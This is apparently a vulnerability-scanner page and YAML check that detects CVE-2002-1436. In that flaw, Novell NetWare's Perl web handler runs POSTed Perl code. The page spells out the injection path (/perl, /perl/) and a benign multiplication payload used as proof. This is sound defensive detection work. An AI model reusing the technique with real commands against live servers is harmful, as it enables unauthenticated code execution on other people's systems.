Novell NetWare — 1 vulnerability check
noctis ships 1 vulnerability check for Novell NetWare, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Novell NetWare Perl Web Handler POST Perl Code Execution
| CVE | CVE-2002-1436 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, http_request, match · highest QoD 97 |
| Feed | tests/vulnerabilities/novell-netware/CVE-2002-1436.yaml |
Detects the Novell NetWare 5.1 / 6.0 web server whose Perl 5.003 web handler executes the body of an HTTP POST request as Perl code (CVE-2002-1436), giving any unauthenticated client code execution on the server. The feed sends a POST to /perl and, if needed, to /perl/ with a one-line Perl program that prints a plain-text CGI header followed by NOCTIS, the product of two per-run random numbers, and END. It reports the target only when the reply contains that computed product, which only a server that ran the posted code can return; the request itself carries only the two operands. The program performs nothing but the multiplication: no file is read or written and no command is run.
How noctis detects it
- Parses / computes the next value with a Rhai script
- HTTP(S) request
POST {{url}}with a crafted body - Checks
perl_resp.bodyforNOCTIS[0-9]+END→ finding QoD 97: Novell NetWare Perl web handler executes POSTed Perl code
References:
- https://nvd.nist.gov/vuln/detail/CVE-2002-1436
- https://seclists.org/bugtraq/2002/Aug/att-298/NOVL-2002-2963307_-_PERL_Handler_Vulnerability.txt
- https://www.exploit-db.com/exploits/21731
- http://www.securityfocus.com/bid/5520
Feed source — tests/vulnerabilities/novell-netware/CVE-2002-1436.yaml
# Novell NetWare 5.1 (<= SP4) / 6.0 (<= SP1) — Perl 5.003 web handler runs Perl code
# sent in an HTTP POST body (CVE-2002-1436, Novell TID 2963307, BID 5520)
#
# NetWare's Enterprise Web Server (Netscape/iPlanet) maps /perl to the Perl 5.003
# handler (PERL.NLM). A POST to that handler is not tied to a script file: the request
# body itself is interpreted as Perl and its output is sent back as the CGI reply, so any
# unauthenticated client runs arbitrary Perl (file read/write, commands) on the server.
# Perl 5.6 and the Novell fixes (5.1 SP5, 6.0 SP2) no longer accept it.
#
# Detection (QoD 97, in-band, benign): the feed POSTs a one-line Perl program that prints
# a CGI header then "NOCTIS" <a*b> "END" for two per-run random 4/5-digit numbers, and
# reports only when the reply carries the computed product. The request holds only the
# two operands, so an echoing page or a static page cannot produce it; nothing is read,
# written or executed beyond the multiplication.
#
# Improvements over the source NVT:
# - per-run random operands instead of the fixed 42+42 / "VT-Test=84" marker (a page
# containing that literal string, e.g. a honeypot or a copy of the advisory, was
# reported);
# - both handler mappings are probed, /perl (NVT) and /perl/ (the public exploit,
# EDB-21731, RFP / Novacoast), stopping at the first hit;
# - the product must be followed by "END" so a longer number cannot match.
#
# Not covered: CVE-2002-1437 ("..%5c" traversal through the same handler) and
# CVE-2002-1438 (Perl version disclosure via "-v"): no public request format exists
# for either; the code-execution proof above is the stronger finding on the same
# handler.
#
# CVSS: NVD has only a v2 score for CVE-2002-1436 (7.5, AV:N/AC:L/Au:N/C:P/I:P/A:P).
#
# Ported from OpenVAS/Greenbone NVT pre2008/netware_post_perl.nasl
# (OID 1.3.6.1.4.1.25623.1.0.11158, GPL-2.0-only).
uid: 067f5a1e-7285-431b-b878-97a132958633
name: "Novell NetWare Perl Web Handler POST Perl Code Execution"
description: |
Detects the Novell NetWare 5.1 / 6.0 web server whose Perl 5.003 web handler
executes the body of an HTTP POST request as Perl code (CVE-2002-1436), giving
any unauthenticated client code execution on the server. The feed sends a POST
to /perl and, if needed, to /perl/ with a one-line Perl program that prints a
plain-text CGI header followed by NOCTIS, the product of two per-run random
numbers, and END. It reports the target only when the reply contains that
computed product, which only a server that ran the posted code can return; the
request itself carries only the two operands. The program performs nothing but
the multiplication: no file is read or written and no command is run.
cves: [CVE-2002-1436]
cvss: 7.5
severity: high
category: rce
confidence_base: 0.30
tags: [novell, netware, perl, code-injection, rce, unauthenticated, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2002-1436"
- "https://seclists.org/bugtraq/2002/Aug/att-298/NOVL-2002-2963307_-_PERL_Handler_Vulnerability.txt"
- "https://www.exploit-db.com/exploits/21731"
- "http://www.securityfocus.com/bid/5520"
steps:
# a: 4 digits, b: 5 digits -> product of 7-9 digits, never equal to an operand.
- id: gen-proof
action: script
code: |
let a = rand_int(1000, 9999);
let b = rand_int(10000, 99999);
#{ a: a, b: b, want: "NOCTIS" + (a * b) + "END" }
store_as: pv
# ── Per handler mapping: this step and the following ones ────────────────
# Pre-initialised so a failed request leaves no undefined variable behind.
- id: init-resp
action: set_var
var_name: perl_resp
var_value: {status: 0, body: ""}
loop:
var: url
over: ["/perl", "/perl/"]
- id: post-perl
action: http_request
method: POST
path: "{{url}}"
port: "{{port}}"
tls_insecure: true
follow_redirects: false
timeout_secs: 15
headers:
Content-Type: "application/octet-stream"
body: "print(\"Content-Type: text/plain\\r\\n\\r\\n\", \"NOCTIS\", {{pv.a}}*{{pv.b}}, \"END\");"
store_as: perl_resp
- id: confirm
action: match
source: perl_resp.body
pattern: "NOCTIS[0-9]+END"
condition: "type_of(perl_resp.body) == \"string\" && perl_resp.body.contains(pv.want)"
on_match:
finding:
title: "Novell NetWare Perl web handler executes POSTed Perl code"
confidence_delta: 0.67
qod: 97
evidence: "POST {{url}} with the Perl body print(\"NOCTIS\", {{pv.a}}*{{pv.b}}, \"END\") returned {{pv.want}}: the server executed the posted code"
remediation: "Upgrade the NetWare Perl handler to Perl 5.6 or later (NetWare 5.1 SP5 / 6.0 SP2), or remove the /perl handler mapping from the web server."
stop: true